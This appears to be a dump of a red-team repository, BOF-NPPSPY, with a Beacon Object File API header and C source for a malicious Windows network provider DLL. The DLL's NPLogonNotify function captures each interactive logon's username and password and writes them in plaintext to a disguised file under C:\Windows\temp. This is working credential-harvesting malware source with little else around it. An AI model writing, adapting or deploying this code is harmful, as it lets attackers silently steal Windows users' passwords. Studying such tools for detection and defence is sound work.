https://raw.githubusercontent.com/VoldeSec/BOF-NPPSPY/364048b86d56a78be1fcba0df71964eff178257c/bof-NPPSPYx86.o -------------------------------------------------------------------------------- /bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | 6 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); 7 | WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR, HKEY, PHKEY); 8 | WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 9 | WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); 10 | WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE* lpData, DWORD cbData); 11 | WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 12 | WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey); 13 | WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey, LPCSTR lpValueName); 14 | WINADVAPI LONG WINAPI ADVAPI32$RegGetValueA(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData); 15 | 16 | WINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 17 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 18 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 19 | WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesA(LPCSTR lpFileName); 20 | WINBASEAPI DWORD WINAPI KERNEL32$DeleteFileA(LPCSTR lpFileName); 21 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 22 | 23 | 24 | DECLSPEC_IMPORT char* WINAPI MSVCRT$strcat(char*, const char*); 25 | DECLSPEC_IMPORT size_t WINAPI MSVCRT$strlen(const char*); 26 | DECLSPEC_IMPORT int WINAPI MSVCRT$strcmp(const char*, const char*); 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /dist/NPPSPY.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VoldeSec/BOF-NPPSPY/364048b86d56a78be1fcba0df71964eff178257c/dist/NPPSPY.dll -------------------------------------------------------------------------------- /dist/NPPSPy.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // from npapi.h 4 | #define WNNC_SPEC_VERSION 0x00000001 5 | #define WNNC_SPEC_VERSION51 0x00050001 6 | #define WNNC_NET_TYPE 0x00000002 7 | #define WNNC_START 0x0000000C 8 | #define WNNC_WAIT_FOR_START 0x00000001 9 | 10 | //from ntdef.h 11 | typedef struct _UNICODE_STRING 12 | { 13 | USHORT Length; 14 | USHORT MaximumLength; 15 | PWSTR Buffer; 16 | } UNICODE_STRING, * PUNICODE_STRING; 17 | 18 | // from NTSecAPI.h 19 | typedef enum _MSV1_0_LOGON_SUBMIT_TYPE 20 | { 21 | MsV1_0InteractiveLogon = 2, 22 | MsV1_0Lm20Logon, 23 | MsV1_0NetworkLogon, 24 | MsV1_0SubAuthLogon, 25 | MsV1_0WorkstationUnlockLogon = 7, 26 | MsV1_0S4ULogon = 12, 27 | MsV1_0VirtualLogon = 82, 28 | MsV1_0NoElevationLogon = 83, 29 | MsV1_0LuidLogon = 84, 30 | } MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE; 31 | 32 | // from NTSecAPI.h 33 | typedef struct _MSV1_0_INTERACTIVE_LOGON 34 | { 35 | MSV1_0_LOGON_SUBMIT_TYPE MessageType; 36 | UNICODE_STRING LogonDomainName; 37 | UNICODE_STRING User; 38 | UNICODE_STRING Pd; 39 | } MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON; 40 | 41 | 42 | void SavePd(PUNICODE_STRING User, PUNICODE_STRING Pd) 43 | { 44 | HANDLE hFile; 45 | DWORD dwWritten; 46 | 47 | hFile = CreateFile(TEXT("C:\\Windows\\temp\\wct42KH.tmp"), 48 | GENERIC_WRITE, 49 | 0, 50 | NULL, 51 | OPEN_ALWAYS, 52 | FILE_ATTRIBUTE_NORMAL, 53 | NULL); 54 | 55 | if (hFile != INVALID_HANDLE_VALUE) 56 | { 57 | SetFilePointer(hFile, 0, NULL, FILE_END); 58 | WriteFile(hFile, User->Buffer, User->Length, &dwWritten, 0); 59 | WriteFile(hFile, L" -> ", 8, &dwWritten, 0); 60 | WriteFile(hFile, Pd->Buffer, Pd->Length, &dwWritten, 0); 61 | WriteFile(hFile, L"\r\n", 4, &dwWritten, 0); 62 | CloseHandle(hFile); 63 | } 64 | } 65 | 66 | 67 | __declspec(dllexport) 68 | DWORD 69 | APIENTRY 70 | NPGetCaps( 71 | DWORD nIndex 72 | ) 73 | { 74 | switch (nIndex) 75 | { 76 | case WNNC_SPEC_VERSION: 77 | return WNNC_SPEC_VERSION51; 78 | 79 | case WNNC_NET_TYPE: 80 | return WNNC_CRED_MANAGER; 81 | 82 | case WNNC_START: 83 | return WNNC_WAIT_FOR_START; 84 | 85 | default: 86 | return 0; 87 | } 88 | } 89 | 90 | 91 | __declspec(dllexport) 92 | DWORD 93 | APIENTRY 94 | NPLogonNotify( 95 | PLUID lpLogonId, 96 | LPCWSTR lpAuthInfoType, 97 | LPVOID lpAuthInfo, 98 | LPCWSTR lpPrevAuthInfoType, 99 | LPVOID lpPrevAuthInfo, 100 | LPWSTR lpStationName, 101 | LPVOID StationHandle, 102 | LPWSTR* lpLogonScript 103 | ) 104 | { 105 | SavePd( 106 | &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->User), 107 | &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Pd) 108 | ); 109 | lpLogonScript = NULL; 110 | return WN_SUCCESS; 111 | } 112 | -------------------------------------------------------------------------------- /images/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VoldeSec/BOF-NPPSPY/364048b86d56a78be1fcba0df71964eff178257c/images/demo.png --------------------------------------------------------------------------------